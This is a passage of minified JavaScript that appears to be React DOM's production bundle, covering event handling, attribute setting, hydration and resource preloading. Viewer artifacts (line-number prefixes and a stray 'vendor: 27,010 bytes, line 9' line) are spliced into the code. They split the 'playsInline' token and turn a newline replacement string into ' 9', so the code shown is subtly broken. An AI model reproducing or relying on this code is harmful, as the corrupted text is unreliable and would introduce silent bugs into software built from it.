8if(v&&=v(e,r)){tr(s,v,n,i);break a}y&&y(e,c,r),e===`focusout`&&r&&c.type===`number`&&r.memoizedProps.value!=null&&Rt(c,`number`,c.value)}switch(y=r?ht(r):window,e){case`focusin`:(er(y)||y.contentEditable===`true`)&&(wr=y,Tr=r,Er=null);break;case`focusout`:Er=Tr=wr=null;break;case`mousedown`:Dr=!0;break;case`contextmenu`:case`mouseup`:case`dragend`:Dr=!1,Or(s,n,i);break;case`selectionchange`:if(Cr)break;case`keydown`:case`keyup`:Or(s,n,i)}var b;if(Hn)b:{switch(e){case`compositionstart`:var x=`onCompositionStart`;break b;case`compositionend`:x=`onCompositionEnd`;break b;case`compositionupdate`:x=`onCompositionUpdate`;break b}x=void 0}else Xn?Jn(e,n)&&(x=`onCompositionEnd`):e===`keydown`&&n.keyCode===229&&(x=`onCompositionStart`);x&&(Gn&&n.locale!==`ko`&&(Xn||x!==`onCompositionStart`?x===`onCompositionEnd`&&Xn&&(b=fn()):(ln=i,un=`value`in ln?ln.value:ln.textContent,Xn=!0)),y=Td(r,x),0<y.length&&(x=new An(x,e,null,n,i),s.push({event:x,listeners:y}),b?x.data=b:(b=Yn(n),b!==null&&(x.data=b)))),(b=Wn?Zn(e,n):Qn(e,n))&&(x=Td(r,`onBeforeInput`),0<x.length&&(y=new An(`onBeforeInput`,`beforeinput`,null,n,i),s.push({event:y,listeners:x}),y.data=b)),pd(s,e,r,n,i)}vd(s,t)})}function wd(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Td(e,t){for(var n=t+`Capture`,r=[];e!==null;){var i=e,a=i.stateNode;if(i=i.tag,i!==5&&i!==26&&i!==27||a===null||(i=an(e,n),i!=null&&r.unshift(wd(e,i,a)),i=an(e,t),i!=null&&r.push(wd(e,i,a))),e.tag===3)return r;e=e.return}return[]}function Ed(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5&&e.tag!==27);return e||null}function Dd(e,t,n,r,i){for(var a=t._reactName,o=[];n!==null&&n!==r;){var s=n,c=s.alternate,l=s.stateNode;if(s=s.tag,c!==null&&c===r)break;s!==5&&s!==26&&s!==27||l===null||(c=l,i?(l=an(n,a),l!=null&&o.unshift(wd(n,l,c))):i||(l=an(n,a),l!=null&&o.push(wd(n,l,c)))),n=n.return}o.length!==0&&e.push({event:t,listeners:o})}var Od=/\r\n?/g,kd=/\u0000|\uFFFD/g;function Ad(e){return(typeof e==`string`?e:``+e).replace(Od,` 9`).replace(kd,``)}function jd(e,t){return t=Ad(t),Ad(e)===t}function Md(e,t,n,r,a,o){switch(n){case`children`:typeof r==`string`?t===`body`||t===`textarea`&&r===``||Ht(e,r):(typeof r==`number`||typeof r==`bigint`)&&t!==`body`&&Ht(e,``+r);break;case`className`:Dt(e,`class`,r);break;case`tabIndex`:Dt(e,`tabindex`,r);break;case`dir`:case`role`:case`viewBox`:case`width`:case`height`:Dt(e,n,r);break;case`style`:Gt(e,r,o);break;case`data`:if(t!==`object`){Dt(e,`data`,r);break}case`src`:case`href`:if(r===``&&(t!==`a`||n!==`href`)){e.removeAttribute(n);break}if(r==null||typeof r==`function`||typeof r==`symbol`||typeof r==`boolean`){e.removeAttribute(n);break}r=Yt(``+r),e.setAttribute(n,r);break;case`action`:case`formAction`:if(typeof r==`function`){e.setAttribute(n,`javascript:throw new Error('A React form was unexpectedly submitted. If you called form.submit() manually, consider using form.requestSubmit() instead. If you\\'re trying to use event.stopPropagation() in a submit event handler, consider also calling event.preventDefault().')`);break}else typeof o==`function`&&(n===`formAction`?(t!==`input`&&Md(e,t,`name`,a.name,a,null),Md(e,t,`formEncType`,a.formEncType,a,null),Md(e,t,`formMethod`,a.formMethod,a,null),Md(e,t,`formTarget`,a.formTarget,a,null)):(Md(e,t,`encType`,a.encType,a,null),Md(e,t,`method`,a.method,a,null),Md(e,t,`target`,a.target,a,null)));if(r==null||typeof r==`symbol`||typeof r==`boolean`){e.removeAttribute(n);break}r=Yt(``+r),e.setAttribute(n,r);break;case`onClick`:r!=null&&(e.onclick=Xt);break;case`onScroll`:r!=null&&$(`scroll`,e);break;case`onScrollEnd`:r!=null&&$(`scrollend`,e);break;case`dangerouslySetInnerHTML`:if(r!=null){if(typeof r!=`object`||!(`__html`in r))throw Error(i(61));if(n=r.__html,n!=null){if(a.children!=null)throw Error(i(60));e.innerHTML=n}}break;case`multiple`:e.multiple=r&&typeof r!=`function`&&typeof r!=`symbol`;break;case`muted`:e.muted=r&&typeof r!=`function`&&typeof r!=`symbol`;break;case`suppressContentEditableWarning`:case`suppressHydrationWarning`:case`defaultValue`:case`defaultChecked`:case`innerHTML`:case`ref`:break;case`autoFocus`:break;case`xlinkHref`:if(r==null||typeof r==`function`||typeof r==`boolean`||typeof r==`symbol`){e.removeAttribute(`xlink:href`);break}n=Yt(``+r),e.setAttributeNS(`http://www.w3.org/1999/xlink`,`xlink:href`,n);break;case`contentEditable`:case`spellCheck`:case`draggable`:case`value`:case`autoReverse`:case`externalResourcesRequired`:case`focusable`:case`preserveAlpha`:r!=null&&typeof r!=`function`&&typeof r!=`symbol`?e.setAttribute(n,``+r):e.removeAttribute(n);break;case`inert`:case`allowFullScreen`:case`async`:case`autoPlay`:case`controls`:case`default`:case`defer`:case`disabled`:case`disablePictureInPicture`:case`disableRemotePlayback`:case`formNoValidate`:case`hidden`:case`loop`:case`noModule`:case`noValidate`:case`open`:case`playsInl
9ine`:case`readOnly`:case`required`:case`reversed`:case`scoped`:case`seamless`:case`itemScope`:r&&typeof r!=`function`&&typeof r!=`symbol`?e.setAttribute(n,``):e.removeAttribute(n);break;case`capture`:case`download`:!0===r?e.setAttribute(n,``):!1!==r&&r!=null&&typeof r!=`function`&&typeof r!=`symbol`?e.setAttribute(n,r):e.removeAttribute(n);break;case`cols`:case`rows`:case`size`:case`span`:r!=null&&typeof r!=`function`&&typeof r!=`symbol`&&!isNaN(r)&&1<=r?e.setAttribute(n,r):e.removeAttribute(n);break;case`rowSpan`:case`start`:r==null||typeof r==`function`||typeof r==`symbol`||isNaN(r)?e.removeAttribute(n):e.setAttribute(n,r);break;case`popover`:$(`beforetoggle`,e),$(`toggle`,e),Et(e,`popover`,r);break;case`xlinkActuate`:Ot(e,`http://www.w3.org/1999/xlink`,`xlink:actuate`,r);break;case`xlinkArcrole`:Ot(e,`http://www.w3.org/1999/xlink`,`xlink:arcrole`,r);break;case`xlinkRole`:Ot(e,`http://www.w3.org/1999/xlink`,`xlink:role`,r);break;case`xlinkShow`:Ot(e,`http://www.w3.org/1999/xlink`,`xlink:show`,r);break;case`xlinkTitle`:Ot(e,`http://www.w3.org/1999/xlink`,`xlink:title`,r);break;case`xlinkType`:Ot(e,`http://www.w3.org/1999/xlink`,`xlink:type`,r);break;case`xmlBase`:Ot(e,`http://www.w3.org/XML/1998/namespace`,`xml:base`,r);break;case`xmlLang`:Ot(e,`http://www.w3.org/XML/1998/namespace`,`xml:lang`,r);break;case`xmlSpace`:Ot(e,`http://www.w3.org/XML/1998/namespace`,`xml:space`,r);break;case`is`:Et(e,`is`,r);break;case`innerText`:case`textContent`:break;default:(!(2<n.length)||n[0]!==`o`&&n[0]!==`O`||n[1]!==`n`&&n[1]!==`N`)&&(n=qt.get(n)||n,Et(e,n,r))}}function Nd(e,t,n,r,a,o){switch(n){case`style`:Gt(e,r,o);break;case`dangerouslySetInnerHTML`:if(r!=null){if(typeof r!=`object`||!(`__html`in r))throw Error(i(61));if(n=r.__html,n!=null){if(a.children!=null)throw Error(i(60));e.innerHTML=n}}break;case`children`:typeof r==`string`?Ht(e,r):(typeof r==`number`||typeof r==`bigint`)&&Ht(e,``+r);break;case`onScroll`:r!=null&&$(`scroll`,e);break;case`onScrollEnd`:r!=null&&$(`scrollend`,e);break;case`onClick`:r!=null&&(e.onclick=Xt);break;case`suppressContentEditableWarning`:case`suppressHydrationWarning`:case`innerHTML`:case`ref`:break;case`innerText`:case`textContent`:break;default:if(!yt.hasOwnProperty(n))a:{if(n[0]===`o`&&n[1]===`n`&&(a=n.endsWith(`Capture`),t=n.slice(2,a?n.length-7:void 0),o=e[at]||null,o=o==null?null:o[n],typeof o==`function`&&e.removeEventListener(t,o,a),typeof r==`function`)){typeof o!=`function`&&o!==null&&(n in e?e[n]=null:e.hasAttribute(n)&&e.removeAttribute(n)),e.addEventListener(t,r,a);break a}n in e?e[n]=r:!0===r?e.setAttribute(n,``):Et(e,n,r)}}}function Pd(e,t,n){switch(t){case`div`:case`span`:case`svg`:case`path`:case`a`:case`g`:case`p`:case`li`:break;case`img`:$(`error`,e),$(`load`,e);var r=!1,a=!1,o;for(o in n)if(n.hasOwnProperty(o)){var s=n[o];if(s!=null)switch(o){case`src`:r=!0;break;case`srcSet`:a=!0;break;case`children`:case`dangerouslySetInnerHTML`:throw Error(i(137,t));default:Md(e,t,o,s,n,null)}}a&&Md(e,t,`srcSet`,n.srcSet,n,null),r&&Md(e,t,`src`,n.src,n,null);return;case`input`:$(`invalid`,e);var c=o=s=a=null,l=null,u=null;for(r in n)if(n.hasOwnProperty(r)){var d=n[r];if(d!=null)switch(r){case`name`:a=d;break;case`type`:s=d;break;case`checked`:l=d;break;case`defaultChecked`:u=d;break;case`value`:o=d;break;case`defaultValue`:c=d;break;case`children`:case`dangerouslySetInnerHTML`:if(d!=null)throw Error(i(137,t));break;default:Md(e,t,r,d,n,null)}}Lt(e,o,c,l,u,s,a,!1);return;case`select`:for(a in $(`invalid`,e),r=s=o=null,n)if(n.hasOwnProperty(a)&&(c=n[a],c!=null))switch(a){case`value`:o=c;break;case`defaultValue`:s=c;break;case`multiple`:r=c;default:Md(e,t,a,c,n,null)}t=o,n=s,e.multiple=!!r,t==null?n!=null&&zt(e,!!r,n,!0):zt(e,!!r,t,!1);return;case`textarea`:for(s in $(`invalid`,e),o=a=r=null,n)if(n.hasOwnProperty(s)&&(c=n[s],c!=null))switch(s){case`value`:r=c;break;case`defaultValue`:a=c;break;case`children`:o=c;break;case`dangerouslySetInnerHTML`:if(c!=null)throw Error(i(91));break;default:Md(e,t,s,c,n,null)}Vt(e,r,a,o);return;case`option`:for(l in n)if(n.hasOwnProperty(l)&&(r=n[l],r!=null))switch(l){case`selected`:e.selected=r&&typeof r!=`function`&&typeof r!=`symbol`;break;default:Md(e,t,l,r,n,null)}return;case`dialog`:$(`beforetoggle`,e),$(`toggle`,e),$(`cancel`,e),$(`close`,e);break;case`iframe`:case`object`:$(`load`,e);break;case`video`:case`audio`:for(r=0;r<gd.length;r++)$(gd[r],e);break;case`image`:$(`error`,e),$(`load`,e);break;case`details`:$(`toggle`,e);break;case`embed`:case`source`:case`link`:$(`error`,e),$(`load`,e);case`area`:case`base`:case`br`:case`col`:case`hr`:case`keygen`:case`meta`:case`param`:case`track`:case`wbr`:case`menuitem`:for(u in n)if(n.hasOwnProperty(u)&&(r=n[u],r!=null))switch(u){case`children`:case`dangerouslySetInnerHTML`:throw Error(i(137,t));default:Md(e,t,u,r,n,null)}return;default:if(Kt(t)){for(d in n)n.hasOwnProperty(d)&&(r=n[d],r!==void 0&&Nd(e,t,d,r,n,void 0));return}}for(c in n)n.hasOwnProperty(c)&&(r=n[c],r!=null&&Md(e,t,c,r,n,null))}function Fd(e,t,n,r){switch(t){case`div`:case`span`:case`svg`:case`path`:case`a`:case`g`:case`p`:case`li`:break;case`input`:var a=null,o=null,s=null,c=null,l=null,u=null,d=null;for(m in n){var f=n[m];if(n.hasOwnProperty(m)&&f!=null)switch(m){case`checked`:break;case`value`:break;case`defaultValue`:l=f;default:r.hasOwnProperty(m)||Md(e,t,m,null,r,f)}}for(var p in r){var m=r[p];if(f=n[p],r.hasOwnProperty(p)&&(m!=null||f!=null))switch(p){case`type`:o=m;break;case`name`:a=m;break;case`checked`:u=m;break;case`defaultChecked`:d=m;break;case`value`:s=m;break;case`defaultValue`:c=m;break;case`children`:case`dangerouslySetInnerHTML`:if(m!=null)throw Error(i(137,t));break;default:m!==f&&Md(e,t,p,m,r,f)}}It(e,s,c,l,u,d,o,a);return;case`select`:for(o in m=s=c=p=null,n)if(l=n[o],n.hasOwnProperty(o)&&l!=null)switch(o){case`value`:break;case`multiple`:m=l;default:r.hasOwnProperty(o)||Md(e,t,o,null,r,l)}
vendor: 27,010 bytes, line 9
9for(a in r)if(o=r[a],l=n[a],r.hasOwnProperty(a)&&(o!=null||l!=null))switch(a){case`value`:p=o;break;case`defaultValue`:c=o;break;case`multiple`:s=o;default:o!==l&&Md(e,t,a,o,r,l)}t=c,n=s,r=m,p==null?!!r!=!!n&&(t==null?zt(e,!!n,n?[]:``,!1):zt(e,!!n,t,!0)):zt(e,!!n,p,!1);return;case`textarea`:for(c in m=p=null,n)if(a=n[c],n.hasOwnProperty(c)&&a!=null&&!r.hasOwnProperty(c))switch(c){case`value`:break;case`children`:break;default:Md(e,t,c,null,r,a)}for(s in r)if(a=r[s],o=n[s],r.hasOwnProperty(s)&&(a!=null||o!=null))switch(s){case`value`:p=a;break;case`defaultValue`:m=a;break;case`children`:break;case`dangerouslySetInnerHTML`:if(a!=null)throw Error(i(91));break;default:a!==o&&Md(e,t,s,a,r,o)}Bt(e,p,m);return;case`option`:for(var h in n)if(p=n[h],n.hasOwnProperty(h)&&p!=null&&!r.hasOwnProperty(h))switch(h){case`selected`:e.selected=!1;break;default:Md(e,t,h,null,r,p)}for(l in r)if(p=r[l],m=n[l],r.hasOwnProperty(l)&&p!==m&&(p!=null||m!=null))switch(l){case`selected`:e.selected=p&&typeof p!=`function`&&typeof p!=`symbol`;break;default:Md(e,t,l,p,r,m)}return;case`img`:case`link`:case`area`:case`base`:case`br`:case`col`:case`embed`:case`hr`:case`keygen`:case`meta`:case`param`:case`source`:case`track`:case`wbr`:case`menuitem`:for(var g in n)p=n[g],n.hasOwnProperty(g)&&p!=null&&!r.hasOwnProperty(g)&&Md(e,t,g,null,r,p);for(u in r)if(p=r[u],m=n[u],r.hasOwnProperty(u)&&p!==m&&(p!=null||m!=null))switch(u){case`children`:case`dangerouslySetInnerHTML`:if(p!=null)throw Error(i(137,t));break;default:Md(e,t,u,p,r,m)}return;default:if(Kt(t)){for(var _ in n)p=n[_],n.hasOwnProperty(_)&&p!==void 0&&!r.hasOwnProperty(_)&&Nd(e,t,_,void 0,r,p);for(d in r)p=r[d],m=n[d],!r.hasOwnProperty(d)||p===m||p===void 0&&m===void 0||Nd(e,t,d,p,r,m);return}}for(var v in n)p=n[v],n.hasOwnProperty(v)&&p!=null&&!r.hasOwnProperty(v)&&Md(e,t,v,null,r,p);for(f in r)p=r[f],m=n[f],!r.hasOwnProperty(f)||p===m||p==null&&m==null||Md(e,t,f,p,r,m)}function Id(e){switch(e){case`css`:case`script`:case`font`:case`img`:case`image`:case`input`:case`link`:return!0;default:return!1}}function Ld(){if(typeof performance.getEntriesByType==`function`){for(var e=0,t=0,n=performance.getEntriesByType(`resource`),r=0;r<n.length;r++){var i=n[r],a=i.transferSize,o=i.initiatorType,s=i.duration;if(a&&s&&Id(o)){for(o=0,s=i.responseEnd,r+=1;r<n.length;r++){var c=n[r],l=c.startTime;if(l>s)break;var u=c.transferSize,d=c.initiatorType;u&&Id(d)&&(c=c.responseEnd,o+=u*(c<s?1:(s-l)/(c-l)))}if(--r,t+=8*(a+o)/(i.duration/1e3),e++,10<e)break}}if(0<e)return t/e/1e6}return navigator.connection&&(e=navigator.connection.downlink,typeof e==`number`)?e:5}var Rd=null,zd=null;function Bd(e){return e.nodeType===9?e:e.ownerDocument}function Vd(e){switch(e){case`http://www.w3.org/2000/svg`:return 1;case`http://www.w3.org/1998/Math/MathML`:return 2;default:return 0}}function Hd(e,t){if(e===0)switch(t){case`svg`:return 1;case`math`:return 2;default:return 0}return e===1&&t===`foreignObject`?0:e}function Ud(e,t){return e===`textarea`||e===`noscript`||typeof t.children==`string`||typeof t.children==`number`||typeof t.children==`bigint`||typeof t.dangerouslySetInnerHTML==`object`&&t.dangerouslySetInnerHTML!==null&&t.dangerouslySetInnerHTML.__html!=null}var Wd=null;function Gd(){var e=window.event;return e&&e.type===`popstate`?e===Wd?!1:(Wd=e,!0):(Wd=null,!1)}var Kd=typeof setTimeout==`function`?setTimeout:void 0,qd=typeof clearTimeout==`function`?clearTimeout:void 0,Jd=typeof Promise==`function`?Promise:void 0,Yd=typeof queueMicrotask==`function`?queueMicrotask:Jd===void 0?Kd:function(e){return Jd.resolve(null).then(e).catch(Xd)};function Xd(e){setTimeout(function(){throw e})}function Zd(e){return e===`head`}function Qd(e,t){var n=t,r=0;do{var i=n.nextSibling;if(e.removeChild(n),i&&i.nodeType===8)if(n=i.data,n===`/$`||n===`/&`){if(r===0){e.removeChild(i),Np(t);return}r--}else if(n===`$`||n===`$?`||n===`$~`||n===`$!`||n===`&`)r++;else if(n===`html`)pf(e.ownerDocument.documentElement);else if(n===`head`){n=e.ownerDocument.head,pf(n);for(var a=n.firstChild;a;){var o=a.nextSibling,s=a.nodeName;a[dt]||s===`SCRIPT`||s===`STYLE`||s===`LINK`&&a.rel.toLowerCase()===`stylesheet`||n.removeChild(a),a=o}}else n===`body`&&pf(e.ownerDocument.body);n=i}while(n);Np(t)}function $d(e,t){var n=e;e=0;do{var r=n.nextSibling;if(n.nodeType===1?t?(n._stashedDisplay=n.style.display,n.style.display=`none`):(n.style.display=n._stashedDisplay||``,n.getAttribute(`style`)===``&&n.removeAttribute(`style`)):n.nodeType===3&&(t?(n._stashedText=n.nodeValue,n.nodeValue=``):n.nodeValue=n._stashedText||``),r&&r.nodeType===8)if(n=r.data,n===`/$`){if(e===0)break;e--}else n!==`$`&&n!==`$?`&&n!==`$~`&&n!==`$!`||e++;n=r}while(n)}function ef(e){var t=e.firstChild;for(t&&t.nodeType===10&&(t=t.nextSibling);t;){var n=t;switch(t=t.nextSibling,n.nodeName){case`HTML`:case`HEAD`:case`BODY`:ef(n),ft(n);continue;case`SCRIPT`:case`STYLE`:continue;case`LINK`:if(n.rel.toLowerCase()===`stylesheet`)continue}e.removeChild(n)}}function tf(e,t,n,r){for(;e.nodeType===1;){var i=n;if(e.nodeName.toLowerCase()!==t.toLowerCase()){if(!r&&(e.nodeName!==`INPUT`||e.type!==`hidden`))break}else if(!r)if(t===`input`&&e.type===`hidden`){var a=i.name==null?null:``+i.name;if(i.type===`hidden`&&e.getAttribute(`name`)===a)return e}else return e;else if(!e[dt])switch(t){case`meta`:if(!e.hasAttribute(`itemprop`))break;return e;case`link`:if(a=e.getAttribute(`rel`),a===`stylesheet`&&e.hasAttribute(`data-precedence`)||a!==i.rel||e.getAttribute(`href`)!==(i.href==null||i.href===``?null:i.href)||e.getAttribute(`crossorigin`)!==(i.crossOrigin==null?null:i.crossOrigin)||e.getAttribute(`title`)!==(i.title==null?null:i.title))break;return e;case`style`:if(e.hasAttribute(`data-precedence`))break;return e;case`script`:if(a=e.getAttribute(`src`),(a!==(i.src==null?null:i.src)||e.getAttribute(`type`)!==(i.type==null?null:i.type)||e.getAttribute(`crossorigin`)!==(i.crossOrigin==null?null:i.crossOrigin))&&a&&e.hasAttribute(`async`)&&!e.hasAttribute(`itemprop`))break;return e;default:return e}if(e=cf(e.nextSibling),e===null)break}return null}function nf(e,t,n){if(t===``)return null;for(;e.nodeType!==3;)if((e.nodeType!==1||e.nodeName!==`INPUT`||e.type!==`hidden`)&&!n||(e=cf(e.nextSibling),e===null))return null;return e}function rf(e,t){for(;e.nodeType!==8;)if((e.nodeType!==1||e.nodeName!==`INPUT`||e.type!==`hidden`)&&!t||(e=cf(e.nextSibling),e===null))return null;return e}function af(e){return e.data===`$?`||e.data===`$~`}function of(e){return e.data===`$!`||e.data===`$?`&&e.ownerDocument.readyState!==`loading`}function sf(e,t){var n=e.ownerDocument;if(e.data===`$~`)e._reactRetry=t;else if(e.data!==`$?`||n.readyState!==`loading`)t();else{var r=function(){t(),n.removeEventListener(`DOMContentLoaded`,r)};n.addEventListener(`DOMContentLoaded`,r),e._reactRetry=r}}function cf(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t===`$`||t===`$!`||t===`$?`||t===`$~`||t===`&`||t===`F!`||t===`F`)break;if(t===`/$`||t===`/&`)return null}}return e}var lf=null;function uf(e){e=e.nextSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n===`/$`||n===`/&`){if(t===0)return cf(e.nextSibling);t--}else n!==`$`&&n!==`$!`&&n!==`$?`&&n!==`$~`&&n!==`&`||t++}e=e.nextSibling}return null}function df(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n===`$`||n===`$!`||n===`$?`||n===`$~`||n===`&`){if(t===0)return e;t--}else n!==`/$`&&n!==`/&`||t++}e=e.previousSibling}return null}function ff(e,t,n){switch(t=Bd(n),e){case`html`:if(e=t.documentElement,!e)throw Error(i(452));return e;case`head`:if(e=t.head,!e)throw Error(i(453));return e;case`body`:if(e=t.body,!e)throw Error(i(454));return e;default:throw Error(i(451))}}function pf(e){for(var t=e.attributes;t.length;)e.removeAttributeNode(t[0]);ft(e)}var mf=new Map,hf=new Set;function gf(e){return typeof e.getRootNode==`function`?e.getRootNode():e.nodeType===9?e:e.ownerDocument}var _f=L.d;L.d={f:vf,r:yf,D:Sf,C:Cf,L:wf,m:Tf,X:Df,S:Ef,M:Of};function vf(){var e=_f.f(),t=yu();return e||t}function yf(e){var t=mt(e);t!==null&&t.tag===5&&t.type===`form`?Ss(t):_f.r(e)}var bf=typeof document>`u`?null:document;function xf(e,t,n){var r=bf;if(r&&typeof t==`string`&&t){var i=Ft(t);i=`link[rel="`+e+`"][href="`+i+`"]`,typeof n==`string`&&(i+=`[crossorigin="`+n+`"]`),hf.has(i)||(hf.add(i),e={rel:e,crossOrigin:n,href:t},r.querySelector(i)===null&&(t=r.createElement(`link`),Pd(t,`link`,e),_t(t),r.head.appendChild(t)))}}function Sf(e){_f.D(e),xf(`dns-prefetch`,e,null)}function Cf(e,t){_f.C(e,t),xf(`preconnect`,e,t)}function wf(e,t,n){_f.L(e,t,n);var r=bf;if(r&&e&&t){var i=`link[rel="preload"][as="`+Ft(t)+`"]`;t===`image`&&n&&n.imageSrcSet?(i+=`[imagesrcset="`+Ft(n.imageSrcSet)+`"]`,typeof n.imageSizes==`string`&&(i+=`[imagesizes="`+Ft(n.imageSizes)+`"]`)):i+=`[href="`+Ft(e)+`"]`;var a=i;switch(t){case`style`:a=Af(e);break;case`script`:a=Pf(e)}mf.has(a)||(e=h({rel:`preload`,href:t===`image`&&n&&n.imageSrcSet?void 0:e,as:t},n),mf.set(a,e),r.querySelector(i)!==null||t===`style`&&r.querySelector(jf(a))||t===`script`&&r.querySelector(Ff(a))||(t=r.createElement(`link`),Pd(t,`link`,e),_t(t),r.head.appendChild(t)))}}function Tf(e,t){_f.m(e,t);var n=bf;if(n&&e){var r=t&&typeof t.as==`string`?t.as:`script`,i=`link[rel="modulepreload"][as="`+Ft(r)+`"][href="`+Ft(e)+`"]`,a=i;switch(r){case`audioworklet`:case`paintworklet`:case`serviceworker`:case`sharedworker`:case`worker`:case`script`:a=Pf(e)}if(!mf.has(a)&&(e=h({rel:`modulepreload`,href:e},t),mf.set(a,e),n.querySelector(i)===null)){switch(r){case`audioworklet`:case`paintworklet`:case`serviceworker`:case`sharedworker`:case`worker`:case`script`:if(n.querySelector(Ff(a)))return}r=n.createElement(`link`),Pd(r,`link`,e),_t(r),n.head.appendChild(r)}}}function Ef(e,t,n){_f.S(e,t,n);var r=bf;if(r&&e){var i=gt(r).hoistableStyles,a=Af(e);t||=`default`;var o=i.get(a);if(!o){var s={loading:0,preload:null};if(o=r.querySelector(jf(a)))s.loading=5;else{e=h({rel:`stylesheet`,href:e,"data-precedence":t},n),(n=mf.get(a))&&Rf(e,n);var c=o=r.createElement(`link`);_t(c),Pd(c,`link`,e),c._p=new Promise(function(e,t){c.onload=e,c.onerror=t}),c.addEventListener(`load`,function(){s.loading|=1}),c.addEventListener(`error`,function(){s.loading|=2}),s.loading|=4,Lf(o,t,r)}o={type:`stylesheet`,instance:o,count:1,state:s},i.set(a,o)}}}function Df(e,t){_f.X(e,t);var n=bf;if(n&&e){var r=gt(n).hoistableScripts,i=Pf(e),a=r.get(i);a||(a=n.querySelector(Ff(i)),a||(e=h({src:e,async:!0},t),(t=mf.get(i))&&zf(e,t),a=n.createElement(`script`),_t(a),Pd(a,`link`,e),n.head.appendChild(a)),a={type:`script`,instance:a,count:1,state:null},r.set(i,a))}}function Of(e,t){_f.M(e,t);var n=bf;if(n&&e){var r=gt(n).hoistableScripts,i=Pf(e),a=r.get(i);a||(a=n.querySelector(Ff(i)),a||(e=h({src:e,async:!0,type:`module`},t),(t=mf.get(i))&&zf(e,t),a=n.createElement(`script`),_t(a),Pd(a,`link`,e),n.head.appendChild(a)),a={type:`script`,instance:a,count:1,state:null},r.set(i,a))}}function kf(e,t,n,r){var a=(a=ae.current)?gf(a):null;if(!a)throw Error(i(446));switch(e){case`meta`:case`title`:return null;case`style`:return typeof n.precedence==`string`&&typeof n.href==`string`?(t=Af(n.href),n=gt(a).hoistableStyles,r=n.get(t),r||(r={type:`style`,instance:null,count:0,state:null},n.set(t,r)),r):{type:`void`,instance:null,count:0,state:null};case`link`:if(n.rel===`stylesheet`&&typeof n.href==`string`&&typeof n.precedence==`string`){e=Af(n.href);var o=gt(a).hoistableStyles,s=o.get(e);if(s||(a=a.ownerDocument||a,s={type:`stylesheet`,instance:null,count:0,state:{loading:0,preload:null}},o.set(e,s),(o=a.querySelector(jf(e)))&&!o._p&&(s.instance=o,s.state.loading=5),mf.has(e)||(n={rel:`preload`,as:`style`,href:n.href,crossOrigin:n.crossOrigin,integrity:n.integrity,media:n.media,hrefLang:n.hrefLang,referrerPolicy:n.referrerPolicy},mf.set(e,n),o||Nf(a,e,n,s.state))),t&&r===null)throw Error(i(528,``));return s}if(t&&r!==null)throw Error(i(529,``));return null;case`script`:return t=n.async,n=n.src,typeof n==`string`&&t&&typeof t!=`function`&&typeof t!=`symbol`?(t=Pf(n),n=gt(a).hoistableScripts,r=n.get(t),r||(r={type:`script`,instance:null,count:0,state:null},n.set(t,r)),r):{type:`void`,instance:null,count:0,state:null};default:throw Error(i(444,e))}}function Af(e){return`href="`+Ft(e)+`"`}function jf(e){return`link[rel="stylesheet"][`+e+`]`}function Mf(e){return h({},e,{"data-precedence":e.precedence,precedence:null})}function Nf(e,t,n,r){e.querySelector(`link[rel="preload"][as="style"][`+t+`]`)?r.loading=1:(t=e.createElement(`link`),r.preload=t,t.addEventListener(`load`,function(){return r.loading|=1}),t.addEventListener(`error`,function(){return r.loading|=2}),Pd(t,`link`,n),_t(t),e.head.appendChild(t))}function Pf(e){return`[src="`+Ft(e)+`"]`}function Ff(e){return`script[async]`+e}function If(e,t,n){if(t.count++,t.instance===null)switch(t.type){case`style`:var r=e.querySelector(`style[data-href~="`+Ft(n.href)+`"]`);if(r)return t.instance=r,_t(r),r;var a=h({},n,{"data-href":n.href,"data-precedence":n.precedence,href:null,precedence:null});return r=(e.ownerDocument||e).createElement(`style`),_t(r),Pd(r,`style`,a),Lf(r,n.precedence,e),t.instance=r;case`stylesheet`:a=Af(n.href);var o=e.querySelector(jf(a));if(o)return t.state.loading|=4,t.instance=o,_t(o),o;r=Mf(n),(a=mf.get(a))&&Rf(r,a),o=(e.ownerDocument||e).createElement(`link`),_t(o);var s=o;return s._p=new Promise(function(e,t){s.onload=e,s.onerror=t}),Pd(o,`link`,r),t.state.loading|=4,Lf(o,n.precedence,e),t.instance=o;case`script`:return o=Pf(n.src),(a=e.querySelector(Ff(o)))?(t.instance=a,_t(a),a):(r=n,(a=mf.get(o))&&(r=h({},n),zf(r,a)),e=e.ownerDocument||e,a=e.createElement(`script`),_t(a),Pd(a,`link`,r),e.head.appendChild(a),t.instance=a);case`void`:return null;default:throw Error(i(443,t.type))}else t.type===`stylesheet`&&!(t.state.loading&4)&&(r=t.instance,t.state.loading|=4,Lf(r,n.precedence,e));return t.instance}function Lf(e,t,n){for(var r=n.querySelectorAll(`link[rel="stylesheet"][data-precedence],style[data-precedence]`),i=r.length?r[r.length-1]:null,a=i,o=0;o<r.length;o++){var s=r[o];if(s.dataset.precedence===t)a=s;else if(a!==i)break}a?a.parentNode.insertBefore(e,a.nextSibling):(t=n.nodeType===9?n.head:n,t.insertBefore(e,t.firstChild))}function Rf(e,t){e.crossOrigin??=t.crossOrigin,e.referrerPolicy??=t.referrerPolicy,e.title??=t.title}function zf(e,t){e.crossOrigin??=t.crossOrigin,e.referrerPolicy??=t.referrerPolicy,e.integrity??=t.integrity}var Bf=null;function Vf(e,t,n){if(Bf===null){var r=new Map,i=Bf=new Map;i.set(n,r)}else i=Bf,r=i.get(n),r||(r=new Map,i.set(n,r));if(r.has(e))return r;for(r.set(e,null),n=n.getElementsByTagName(e),i=0;i<n.length;i++){var a=n[i];if(!(a[dt]||a[it]||e===`link`&&a.getAttribute(`rel`)===`stylesheet`)&&a.namespaceURI!==`http://www.w3.org/2000/svg`){var o=a.getAttribute(t)||``;o=e+o;var s=r.get(o);s?s.push(a):r.set(o,[a])}}return r}function Hf(e,t,n){e=e.ownerDocument||e,e.head.insertBefore(n,t===`title`?e.querySelector(`head > title`):null)}function Uf(e,t,n){if(n===1||t.itemProp!=null)return!1;switch(e){case`meta`:case`title`:return!0;case`style`:if(typeof t.precedence!=`string`||typeof t.href!=`string`||t.href===``)break;return!0;case`link`:if(typeof t.rel!=`string`||typeof t.href!=`string`||t.href===``||t.onLoad||t.onError)break;switch(t.rel){case`stylesheet`:return e=t.disabled,typeof t.precedence==`string`&&e==null;default:return!0}case`script`:if(t.async&&typeof t.async!=`function`&&typeof 